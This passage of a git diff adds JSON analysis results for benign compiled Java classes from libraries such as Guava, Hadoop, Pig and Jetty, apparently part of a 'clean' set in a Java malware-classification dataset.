"java_clean/7699a365eca54a18bcbe3ff5b9cf4473e1739fd6d10e48c5ffcaee4fcede422d", "_id": "390daab6-6716-4c86-89b3-2c09d69220f4", "score": 0, "entropy": 5.411611910230753, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1817, "ssdeep": "48:OPZgjgVgjlvlgi0B8uIgHg2g7e68gmowfSTBkWK6IrRM:M+lZ00epfS1E6I9M", "sha256": "7699a365eca54a18bcbe3ff5b9cf4473e1739fd6d10e48c5ffcaee4fcede422d", "md5": "9eda6c1ce5674fbcf7338150a08b90e6", "parent_sha256": "7699a365eca54a18bcbe3ff5b9cf4473e1739fd6d10e48c5ffcaee4fcede422d"}} \ No newline at end of file diff --git a/java_classification/data/clean/77a6f049e36b927e07ed2b515e06f3006a36b9eccbf678249a8c10d5f97f7435.results b/java_classification/data/clean/77a6f049e36b927e07ed2b515e06f3006a36b9eccbf678249a8c10d5f97f7435.results new file mode 100755 index 0000000..d86d6d2 --- /dev/null +++ b/java_classification/data/clean/77a6f049e36b927e07ed2b515e06f3006a36b9eccbf678249a8c10d5f97f7435.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/io/compress/lzo/LzoDecompressor", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/io/compress/Decompressor"], "sourcefile": "LzoDecompressor.java", "method_names": ["isNativeLzoLoaded", "", "", "setInput", "setInputFromSavedData", "setDictionary", "needsInput", "needsDictionary", "finished", "decompress", "reset", "end", "finalize", "initIDs", "init", "decompressBytesDirect", ""], "minor_version": 0, "const_pool_count": 194}}, "_id": "cae93728-c93f-4f0a-888a-43a805b82123", "verbose": {"java": {"constant strings": ["Cannot load ", " without native-hadoop library!"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "aa8bfb32a2252a9b1c9aa5e76896398570edea22", "file_name": "java_clean/77a6f049e36b927e07ed2b515e06f3006a36b9eccbf678249a8c10d5f97f7435", "_id": "cae93728-c93f-4f0a-888a-43a805b82123", "score": 0, "entropy": 5.4881479559338375, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4267, "ssdeep": "96:SJfuVxjt9lwjBj65ISz9jJSa2PjVoJvVAHSeIFK1AX:mUr9l5IcHLVAZIA+X", "sha256": "77a6f049e36b927e07ed2b515e06f3006a36b9eccbf678249a8c10d5f97f7435", "md5": "5afe79ea459f3ccd8d3212daa76fdc6d", "parent_sha256": "77a6f049e36b927e07ed2b515e06f3006a36b9eccbf678249a8c10d5f97f7435"}} \ No newline at end of file diff --git a/java_classification/data/clean/78279d37ad6e3588c137f1fd34a3b5bb75112b9d863c50f8811c50ab0ad218ee.results b/java_classification/data/clean/78279d37ad6e3588c137f1fd34a3b5bb75112b9d863c50f8811c50ab0ad218ee.results new file mode 100755 index 0000000..7802042 --- /dev/null +++ b/java_classification/data/clean/78279d37ad6e3588c137f1fd34a3b5bb75112b9d863c50f8811c50ab0ad218ee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/tools/VideoPlayer$21$2", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "VideoPlayer.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 44}}, "_id": "2b1a9a36-ac85-4382-9632-3bd23598c306", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dc4ee28150e5c4ac31fa0ee0af783be3d749d77a", "file_name": "java_clean/78279d37ad6e3588c137f1fd34a3b5bb75112b9d863c50f8811c50ab0ad218ee", "_id": "2b1a9a36-ac85-4382-9632-3bd23598c306", "score": 0, "entropy": 5.245295696412182, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 820, "ssdeep": "24:eGRHCKKlRH18RHWkrJljyRH2QnVRHYOK/VTSNbHtR:eGRHCKKlRH18RHW4l2RH2QnVRHbuVTSh", "sha256": "78279d37ad6e3588c137f1fd34a3b5bb75112b9d863c50f8811c50ab0ad218ee", "md5": "70f45b183288efd5ea5a1f5e920f44fd", "parent_sha256": "78279d37ad6e3588c137f1fd34a3b5bb75112b9d863c50f8811c50ab0ad218ee"}} \ No newline at end of file diff --git a/java_classification/data/clean/795f9fd6cd6c51f3b16455ca746beb04b37a60a346d18f0a20ab69a98ad029f9.results b/java_classification/data/clean/795f9fd6cd6c51f3b16455ca746beb04b37a60a346d18f0a20ab69a98ad029f9.results new file mode 100755 index 0000000..625f966 --- /dev/null +++ b/java_classification/data/clean/795f9fd6cd6c51f3b16455ca746beb04b37a60a346d18f0a20ab69a98ad029f9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 46, "class_name": "org/mortbay/http/PathMap", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/io/Externalizable"], "sourcefile": "PathMap.java", "method_names": ["setPathSpecSeparators", "", "", "", "", "writeExternal", "readExternal", "put", "match", "getMatch", "getMatches", "remove", "clear", "match", "match", "pathMatch", "pathInfo", "relativePath", "class$", ""], "minor_version": 0, "const_pool_count": 324}}, "_id": "2f020a4b-8c33-4cfe-82b4-63358fbfd246", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.246585835350323}, "constant strings": ["/", "*.", "PathSpec ", ". must start with \\'/\\' or \\'*.\\'", "/*", "./", "org.mortbay.http.PathMap", "org.mortbay.http.PathMap.separators", ":,"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "808abba35199498000098acfba7ffde106bef528", "file_name": "java_clean/795f9fd6cd6c51f3b16455ca746beb04b37a60a346d18f0a20ab69a98ad029f9", "_id": "2f020a4b-8c33-4cfe-82b4-63358fbfd246", "score": 0, "entropy": 5.76216736285262, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 8428, "ssdeep": "192:oFys2FalOEFKtTdbsDXghvGSndJM6FRFEdXF0mtlvswBHz/1f:oFyZaEEQtTV4ghv1ndJ1dW10mXvswBHZ", "sha256": "795f9fd6cd6c51f3b16455ca746beb04b37a60a346d18f0a20ab69a98ad029f9", "md5": "962d2174522a875e18d7364b46d285db", "parent_sha256": "795f9fd6cd6c51f3b16455ca746beb04b37a60a346d18f0a20ab69a98ad029f9"}} \ No newline at end of file diff --git a/java_classification/data/clean/797e1003ad4233493ea66cf90b30dd3c6fdf9e7e7fd3e3f0d72631493410cdf5.results b/java_classification/data/clean/797e1003ad4233493ea66cf90b30dd3c6fdf9e7e7fd3e3f0d72631493410cdf5.results new file mode 100755 index 0000000..b1c764c --- /dev/null +++ b/java_classification/data/clean/797e1003ad4233493ea66cf90b30dd3c6fdf9e7e7fd3e3f0d72631493410cdf5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ExecutionError.java", "class_name": "com/google/common/util/concurrent/ExecutionError", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "", ""], "minor_version": 0, "const_pool_count": 39}}, "_id": "d7b46a3c-9f21-449d-8e45-92f486cdbead", "metadata": {"mimetype": "application/x-java-applet", "sha1": "dace3c4c3f1f4e3c31a8e9a8f0564b69e0332fe1", "file_name": "java_clean/797e1003ad4233493ea66cf90b30dd3c6fdf9e7e7fd3e3f0d72631493410cdf5", "_id": "d7b46a3c-9f21-449d-8e45-92f486cdbead", "score": 0, "entropy": 4.947966396867716, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1019, "ssdeep": "12:M1wcHSDQulPsoOXoBMsMR/MOPqMVPE5PwuYqjcNBMEk6EKMvBM+SXelW3hOQarYY:MbyQuljsoBYpPE5PANB1kvyPOuly", "sha256": "797e1003ad4233493ea66cf90b30dd3c6fdf9e7e7fd3e3f0d72631493410cdf5", "md5": "940696a5a000d85d943cd72088bed417", "parent_sha256": "797e1003ad4233493ea66cf90b30dd3c6fdf9e7e7fd3e3f0d72631493410cdf5"}} \ No newline at end of file diff --git a/java_classification/data/clean/7a55ee535d5c773fb6908c16046c200e17be72fa3844a7c699d5a143c4cf6f50.results b/java_classification/data/clean/7a55ee535d5c773fb6908c16046c200e17be72fa3844a7c699d5a143c4cf6f50.results new file mode 100755 index 0000000..f08f41c --- /dev/null +++ b/java_classification/data/clean/7a55ee535d5c773fb6908c16046c200e17be72fa3844a7c699d5a143c4cf6f50.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TileCached.java", "class_name": "hu/openig/model/TileCached$StrongRef", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "get"], "minor_version": 0, "const_pool_count": 35}}, "_id": "808ad4cb-dad4-4d17-bbbe-fc6bc68c932f", "verbose": {"java": {"signatures": ["TT;", "(TT;)V", "()TT;", "Lhu/openig/model/TileCached$Ref;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "76c2a094af995512ee23ac283c4744196875b7e0", "file_name": "java_clean/7a55ee535d5c773fb6908c16046c200e17be72fa3844a7c699d5a143c4cf6f50", "_id": "808ad4cb-dad4-4d17-bbbe-fc6bc68c932f", "score": 0, "entropy": 5.082494767272356, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 840, "ssdeep": "12:xw1ggtPaXilOgPAlPsoaiw+Nuxmhwdez8TRzte223bdGqGlm4IZBgb+loOldl9lx:OaZgPAlja6NPaALxymv+abld9x", "sha256": "7a55ee535d5c773fb6908c16046c200e17be72fa3844a7c699d5a143c4cf6f50", "md5": "bc81f7dcd392729e78b11536bfce7c5a", "parent_sha256": "7a55ee535d5c773fb6908c16046c200e17be72fa3844a7c699d5a143c4cf6f50"}} \ No newline at end of file diff --git a/java_classification/data/clean/7a9e70892f18a6e120c8157031399cfb28b5b2fb240f28d141c99514249274d0.results b/java_classification/data/clean/7a9e70892f18a6e120c8157031399cfb28b5b2fb240f28d141c99514249274d0.results new file mode 100755 index 0000000..b6889b1 --- /dev/null +++ b/java_classification/data/clean/7a9e70892f18a6e120c8157031399cfb28b5b2fb240f28d141c99514249274d0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/LinkedListMultimap$MultisetView$1", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "LinkedListMultimap.java", "method_names": ["", "hasNext", "next", "remove"], "minor_version": 0, "const_pool_count": 61}}, "_id": "5a70bd73-3f7e-4191-91a1-b8aee639ad9d", "verbose": {"java": {"signatures": ["()TK;", "Ljava/lang/Object;Ljava/util/Iterator;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "99826aa6621237fa8122e8a6dee4fd9a5bf9ff67", "file_name": "java_clean/7a9e70892f18a6e120c8157031399cfb28b5b2fb240f28d141c99514249274d0", "_id": "5a70bd73-3f7e-4191-91a1-b8aee639ad9d", "score": 0, "entropy": 5.15180780398691, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1506, "ssdeep": "24:LfO873z88uljkt8boa58N08zsUiVrMyHc:3cljbqn", "sha256": "7a9e70892f18a6e120c8157031399cfb28b5b2fb240f28d141c99514249274d0", "md5": "4e77e414cf14ab643ee7908751192571", "parent_sha256": "7a9e70892f18a6e120c8157031399cfb28b5b2fb240f28d141c99514249274d0"}} \ No newline at end of file diff --git a/java_classification/data/clean/7b2d002d9b5234a02f9259578046ccea78fe8d93c68cc0b46f578c6417f98f2a.results b/java_classification/data/clean/7b2d002d9b5234a02f9259578046ccea78fe8d93c68cc0b46f578c6417f98f2a.results new file mode 100755 index 0000000..9b3870a --- /dev/null +++ b/java_classification/data/clean/7b2d002d9b5234a02f9259578046ccea78fe8d93c68cc0b46f578c6417f98f2a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Planner.java", "class_name": "hu/openig/mechanics/Planner$BuildingSelector", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 50, "method_names": ["accept", "accept"], "minor_version": 0, "const_pool_count": 14}}, "_id": "e2e74f59-0c9c-4de5-8e31-86f083839cfe", "metadata": {"mimetype": "application/x-java-applet", "sha1": "e473dfb3b7ec75646b2268d33628f36b5f3f792f", "file_name": "java_clean/7b2d002d9b5234a02f9259578046ccea78fe8d93c68cc0b46f578c6417f98f2a", "_id": "e2e74f59-0c9c-4de5-8e31-86f083839cfe", "score": 0, "entropy": 5.056529490084877, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 362, "ssdeep": "6:+yJCK2LsjzXSRPMemE1KmE1zO12LGvhYJ5zzLHjzOlCBN6cbn:+HPwjmR0qA5tuY3PjjyuNDn", "sha256": "7b2d002d9b5234a02f9259578046ccea78fe8d93c68cc0b46f578c6417f98f2a", "md5": "6288d5abe545fdaa562dfb3edbd502e7", "parent_sha256": "7b2d002d9b5234a02f9259578046ccea78fe8d93c68cc0b46f578c6417f98f2a"}} \ No newline at end of file diff --git a/java_classification/data/clean/7b623234cc4c0d739207649e0c90fadff5b59f64f1dfcb5711239cf6670a4377.results b/java_classification/data/clean/7b623234cc4c0d739207649e0c90fadff5b59f64f1dfcb5711239cf6670a4377.results new file mode 100755 index 0000000..66a6c71 --- /dev/null +++ b/java_classification/data/clean/7b623234cc4c0d739207649e0c90fadff5b59f64f1dfcb5711239cf6670a4377.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Mission21.java", "class_name": "hu/openig/scripting/missions/Mission21$M21", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 50, "method_names": ["", "", "values", "valueOf"], "minor_version": 0, "const_pool_count": 70}}, "_id": "4bd9b4a9-0d7a-4a87-be7f-ef2ca3647208", "verbose": {"java": {"signatures": ["Ljava/lang/Enum;"], "constant strings": ["NONE", "WAIT", "MESSAGE", "MEET", "RUN", "ATTACK", "DONE"], "JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "DONE"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d8d4d97a76090f2d926af44361b9fbc1817ec02b", "file_name": "java_clean/7b623234cc4c0d739207649e0c90fadff5b59f64f1dfcb5711239cf6670a4377", "_id": "4bd9b4a9-0d7a-4a87-be7f-ef2ca3647208", "score": 0, "entropy": 5.436332779570271, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1466, "ssdeep": "24:xcnsRvL1tHljXTI/CR67b/U6x1m8lkLftpAvZuDAy:isJL1tHljMdflm14ZuDAy", "sha256": "7b623234cc4c0d739207649e0c90fadff5b59f64f1dfcb5711239cf6670a4377", "md5": "884cf8d7a5f7b7754fcd2f01865c27e9", "parent_sha256": "7b623234cc4c0d739207649e0c90fadff5b59f64f1dfcb5711239cf6670a4377"}} \ No newline at end of file diff --git a/java_classification/data/clean/7bbcf61bda2f97ece58caa1dc8afa570ad33e5e1de0244fa1e20644176b9f1f4.results b/java_classification/data/clean/7bbcf61bda2f97ece58caa1dc8afa570ad33e5e1de0244fa1e20644176b9f1f4.results new file mode 100755 index 0000000..060922f --- /dev/null +++ b/java_classification/data/clean/7bbcf61bda2f97ece58caa1dc8afa570ad33e5e1de0244fa1e20644176b9f1f4.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LongMin.java", "class_name": "org/apache/pig/builtin/LongMin$Initial", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "exec", "exec", ""], "minor_version": 0, "const_pool_count": 116}}, "_id": "9d754a7c-27b0-4c84-a236-4066f26f317e", "verbose": {"java": {"signatures": ["Lorg/apache/pig/EvalFunc;"], "constant strings": ["Error while computing min in "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6cea7a1dccf2d5441f801ecd314959391b81e1ea", "file_name": "java_clean/7bbcf61bda2f97ece58caa1dc8afa570ad33e5e1de0244fa1e20644176b9f1f4", "_id": "9d754a7c-27b0-4c84-a236-4066f26f317e", "score": 0, "entropy": 5.348836980521578, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2257, "ssdeep": "48:xskXyFlnA7CJessRt+ebCXEHURtyee1372LkAkOmLfIDkE7Ubc9htd733:KkCFlAGJessRo9XEHURUeO6LZkOcekEZ", "sha256": "7bbcf61bda2f97ece58caa1dc8afa570ad33e5e1de0244fa1e20644176b9f1f4", "md5": "2a7e939d3ed4c568115219aa726be52a", "parent_sha256": "7bbcf61bda2f97ece58caa1dc8afa570ad33e5e1de0244fa1e20644176b9f1f4"}} \ No newline at end of file diff --git a/java_classification/data/clean/7bca8020e9e8fe94c1c3311f3a353b367a5bf855ebe6f59c3e9841dcca34c997.results b/java_classification/data/clean/7bca8020e9e8fe94c1c3311f3a353b367a5bf855ebe6f59c3e9841dcca34c997.results new file mode 100755 index 0000000..cdde892 --- /dev/null +++ b/java_classification/data/clean/7bca8020e9e8fe94c1c3311f3a353b367a5bf855ebe6f59c3e9841dcca34c997.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "LOVisitor.java", "class_name": "org/apache/pig/impl/logicalLayer/LOVisitor", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit", "visit"], "minor_version": 0, "const_pool_count": 253}}, "_id": "8096d172-b0ec-47a0-a141-f4e7a5808bf0", "verbose": {"java": {"signatures": ["(Lorg/apache/pig/impl/logicalLayer/LogicalPlan;Lorg/apache/pig/impl/plan/PlanWalker;)V", "Lorg/apache/pig/impl/plan/PlanVisitor;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b40baf3afa092038ab12215d49bcfdf4f5d57b4b", "file_name": "java_clean/7bca8020e9e8fe94c1c3311f3a353b367a5bf855ebe6f59c3e9841dcca34c997", "_id": "8096d172-b0ec-47a0-a141-f4e7a5808bf0", "score": 0, "entropy": 5.054988479837653, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 11582, "ssdeep": "96:sFS9rlLXxoF4at94aMjbX93kTsVDV+HuS5oBanvMvBYXuiQw5GTcAsFLGntqEQQD:sFSl1jIAZDf2NyyKnOf6Jt", "sha256": "7bca8020e9e8fe94c1c3311f3a353b367a5bf855ebe6f59c3e9841dcca34c997", "md5": "359488c75ebba5fefb97c25858f3da73", "parent_sha256": "7bca8020e9e8fe94c1c3311f3a353b367a5bf855ebe6f59c3e9841dcca34c997"}} \ No newline at end of file diff --git a/java_classification/data/clean/7bd4b634d3519ef800939c6cd547d63edb1ce38b29ab2a91f38f242a0e44a101.results b/java_classification/data/clean/7bd4b634d3519ef800939c6cd547d63edb1ce38b29ab2a91f38f242a0e44a101.results new file mode 100755 index 0000000..39d438c --- /dev/null +++ b/java_classification/data/clean/7bd4b634d3519ef800939c6cd547d63edb1ce38b29ab2a91f38f242a0e44a101.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImplicitObjects.java", "class_name": "org/apache/commons/el/ImplicitObjects$3", "access_permissions": ["ACC_SUPER"], "major_version": 46, "method_names": ["", "enumerateKeys", "getValue", "isMutable"], "minor_version": 0, "const_pool_count": 44}}, "_id": "80b0974c-0928-4b26-b9c5-b326856d1832", "metadata": {"mimetype": "application/x-java-applet", "sha1": "b3ce258ce1b136ea522c56980f5f6b52112c1566", "file_name": "java_clean/7bd4b634d3519ef800939c6cd547d63edb1ce38b29ab2a91f38f242a0e44a101", "_id": "80b0974c-0928-4b26-b9c5-b326856d1832", "score": 0, "entropy": 5.116028346578614, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1058, "ssdeep": "12:TiPZXe1ulPsoxhPphoPkTvWl8Dot9Aoq7MfpupVDqcD2oPkeMUXLJ4+ydih/ILKc:TmdAulj7ph/Tv1ocoupVL2/DalCZ", "sha256": "7bd4b634d3519ef800939c6cd547d63edb1ce38b29ab2a91f38f242a0e44a101", "md5": "2a82ae8731e502d10b460c3ea69f5a4d", "parent_sha256": "7bd4b634d3519ef800939c6cd547d63edb1ce38b29ab2a91f38f242a0e44a101"}} \ No newline at end of file diff --git a/java_classification/data/clean/7ceb6976394cc128d7b685ea64a6f56322d225aa7ac4d842a0dc45eaa2507983.results b/java_classification/data/clean/7ceb6976394cc128d7b685ea64a6f56322d225aa7ac4d842a0dc45eaa2507983.results new file mode 100755 index 0000000..8d5f776 --- /dev/null +++ b/java_classification/data/clean/7ceb6976394cc128d7b685ea64a6f56322d225aa7ac4d842a0dc45eaa2507983.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "BlockingQueue.java", "class_name": "org/mortbay/util/BlockingQueue", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "clear", "size", "maxSize", "put", "put", "get", "get", "peek", "peek"], "minor_version": 0, "const_pool_count": 72}}, "_id": "77b090bc-1cf1-4aa9-863f-b55e7283b35b", "verbose": {"java": {"constant strings": ["Timed out"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "34245255f3a828992932f94c1b5f5fa6f78cfa26", "file_name": "java_clean/7ceb6976394cc128d7b685ea64a6f56322d225aa7ac4d842a0dc45eaa2507983", "_id": "77b090bc-1cf1-4aa9-863f-b55e7283b35b", "score": 0, "entropy": 5.028044988899288, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2653, "ssdeep": "48:27Lk9Gp7eDlSFqhnlguF/8Ed2ERYfq8yytI1nuIJ/ppz3:27gXl0wnSuFkkR87yytIduIxT3", "sha256": "7ceb6976394cc128d7b685ea64a6f56322d225aa7ac4d842a0dc45eaa2507983", "md5": "6a65e378bc7acc361cbc2e37ddcbcca7", "parent_sha256": "7ceb6976394cc128d7b685ea64a6f56322d225aa7ac4d842a0dc45eaa2507983"}} \ No newline at end of file diff --git a/java_classification/data/clean/7d11233175fcf12ce9ff700b6a1f8cfd4cfaface8985a202ff11c72a60975577.results b/java_classification/data/clean/7d11233175fcf12ce9ff700b6a1f8cfd4cfaface8985a202ff11c72a60975577.results new file mode 100755 index 0000000..7cfc060 --- /dev/null +++ b/java_classification/data/clean/7d11233175fcf12ce9ff700b6a1f8cfd4cfaface8985a202ff11c72a60975577.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/MinMaxPriorityQueue$QueueIterator", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "MinMaxPriorityQueue.java", "method_names": ["", "hasNext", "next", "remove", "containsExact", "removeExact", "checkModCount", "nextNotInSkipMe", ""], "minor_version": 0, "const_pool_count": 186}}, "_id": "845e05f0-c1eb-4a54-b7b7-befdb266ab6e", "verbose": {"java": {"signatures": ["Ljava/util/Queue;", "Ljava/util/List;", "TE;", "()TE;", "(Ljava/lang/Iterable;TE;)Z", "Ljava/lang/Object;Ljava/util/Iterator;"], "constant strings": ["iterator moved past last element in queue.", "no calls to remove() since the last call to next()"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "70e69cc298df5af654337594918498e8ba3425d6", "file_name": "java_clean/7d11233175fcf12ce9ff700b6a1f8cfd4cfaface8985a202ff11c72a60975577", "_id": "845e05f0-c1eb-4a54-b7b7-befdb266ab6e", "score": 0, "entropy": 5.590699545182176, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4387, "ssdeep": "48:D2YM7lOBnzolTk98X8XA1uMHh30r6/WEparN2EHjWghlhWHSQuOT4mEF7ku/2Hvo:Dm7+klTk9FXchErJnLhlzFm6/1", "sha256": "7d11233175fcf12ce9ff700b6a1f8cfd4cfaface8985a202ff11c72a60975577", "md5": "2ceb979d6b4f39c30c68ecd8bf33be37", "parent_sha256": "7d11233175fcf12ce9ff700b6a1f8cfd4cfaface8985a202ff11c72a60975577"}} \ No newline at end of file diff --git a/java_classification/data/clean/7d656ed9ed1ba3cda51aed446708eab19b7ff584318aec0636a1c712f1595442.results b/java_classification/data/clean/7d656ed9ed1ba3cda51aed446708eab19b7ff584318aec0636a1c712f1595442.results new file mode 100755 index 0000000..91b8052 --- /dev/null +++ b/java_classification/data/clean/7d656ed9ed1ba3cda51aed446708eab19b7ff584318aec0636a1c712f1595442.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Multimaps.java", "class_name": "com/google/common/collect/Multimaps$TransformedEntriesMultimap$TransformedEntries$1$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "getKey", "getValue"], "minor_version": 0, "const_pool_count": 64}}, "_id": "c984f323-b52e-4eaf-a96d-eb5d2b15d40d", "verbose": {"java": {"signatures": ["()TK;", "()TV2;", "Lcom/google/common/collect/AbstractMapEntry;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "240a919b8defc29a31a0e3f68301c765e095558f", "file_name": "java_clean/7d656ed9ed1ba3cda51aed446708eab19b7ff584318aec0636a1c712f1595442", "_id": "c984f323-b52e-4eaf-a96d-eb5d2b15d40d", "score": 0, "entropy": 5.268617463225191, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1776, "ssdeep": "24:RC7jFxOCxl1uljRpB8tO5oTXxTev2x1jxiuy7yKyXBuhnOj+ln7nU:0aC0l/B8tO5oMAnch7nU", "sha256": "7d656ed9ed1ba3cda51aed446708eab19b7ff584318aec0636a1c712f1595442", "md5": "84b3b197f1344d36a1820aca4bbb2550", "parent_sha256": "7d656ed9ed1ba3cda51aed446708eab19b7ff584318aec0636a1c712f1595442"}} \ No newline at end of file diff --git a/java_classification/data/clean/7de3b179e197841f1ee35af053dce2c1e18e1b585511e691f5584314659ec5b0.results b/java_classification/data/clean/7de3b179e197841f1ee35af053dce2c1e18e1b585511e691f5584314659ec5b0.results new file mode 100755 index 0000000..d780647 --- /dev/null +++ b/java_classification/data/clean/7de3b179e197841f1ee35af053dce2c1e18e1b585511e691f5584314659ec5b0.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/util/TableSorter$Row", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Comparable"], "major_version": 46, "method_names": ["", "compareTo", "access$500"], "minor_version": 0, "const_pool_count": 80}}, "_id": "0989c4c2-9f51-475d-86ef-952e6bd3715a", "metadata": {"mimetype": "application/x-java-applet", "sha1": "136c7d84b472336075c104090ceaf616cd5fbe39", "file_name": "java_clean/7de3b179e197841f1ee35af053dce2c1e18e1b585511e691f5584314659ec5b0", "_id": "0989c4c2-9f51-475d-86ef-952e6bd3715a", "score": 0, "entropy": 5.603612867010612, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 1392, "ssdeep": "24:eHivLWUebWlrMGdWJ4CMWJqR6WJgS83mWdoAWLIHJ08w8CWWJbbZERVgtcGVzgtf:eCTWUebWdtdWJ4TWJi6WJu3mWd5WaWJq", "sha256": "7de3b179e197841f1ee35af053dce2c1e18e1b585511e691f5584314659ec5b0", "md5": "641d7dee8c26b0f73fb3d65a59d7996e", "parent_sha256": "7de3b179e197841f1ee35af053dce2c1e18e1b585511e691f5584314659ec5b0"}} \ No newline at end of file diff --git a/java_classification/data/clean/7e4a9fd822ad17479a521ae9eaa1d09c6d471d7d2c67e8dbadfb0ba8e09649ee.results b/java_classification/data/clean/7e4a9fd822ad17479a521ae9eaa1d09c6d471d7d2c67e8dbadfb0ba8e09649ee.results new file mode 100755 index 0000000..3da9680 --- /dev/null +++ b/java_classification/data/clean/7e4a9fd822ad17479a521ae9eaa1d09c6d471d7d2c67e8dbadfb0ba8e09649ee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ServletInputStream.java", "class_name": "javax/servlet/ServletInputStream", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "major_version": 45, "method_names": ["", "readLine"], "minor_version": 3, "const_pool_count": 32}}, "_id": "969ab810-4f68-43f8-96eb-8a94cfe86f1c", "metadata": {"mimetype": "application/x-java-applet", "sha1": "16c31b9706e719ff5dcabcb94390c80998c319ac", "file_name": "java_clean/7e4a9fd822ad17479a521ae9eaa1d09c6d471d7d2c67e8dbadfb0ba8e09649ee", "_id": "969ab810-4f68-43f8-96eb-8a94cfe86f1c", "score": 0, "entropy": 5.104453557146887, "libmagic": "compiled Java class data, version 45.3", "file_size": 654, "ssdeep": "12:czaODy1Gl/xMS2o2HTAjbdMhzJwlTb+SrlY1967ITKSlwMof0+gIft3dMq3:cGODy1GlqSp2H4OcTbQ67ItOpfaIV3N3", "sha256": "7e4a9fd822ad17479a521ae9eaa1d09c6d471d7d2c67e8dbadfb0ba8e09649ee", "md5": "e04b3356b4b3da5c04d39cb5d4b38fba", "parent_sha256": "7e4a9fd822ad17479a521ae9eaa1d09c6d471d7d2c67e8dbadfb0ba8e09649ee"}} \ No newline at end of file diff --git a/java_classification/data/clean/7e8b37fea695f787903f897518ec88c4dd30b3483bb2c4ef4cf1e08a73fe0a15.results b/java_classification/data/clean/7e8b37fea695f787903f897518ec88c4dd30b3483bb2c4ef4cf1e08a73fe0a15.results new file mode 100755 index 0000000..228551c --- /dev/null +++ b/java_classification/data/clean/7e8b37fea695f787903f897518ec88c4dd30b3483bb2c4ef4cf1e08a73fe0a15.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ReduceTask.java", "class_name": 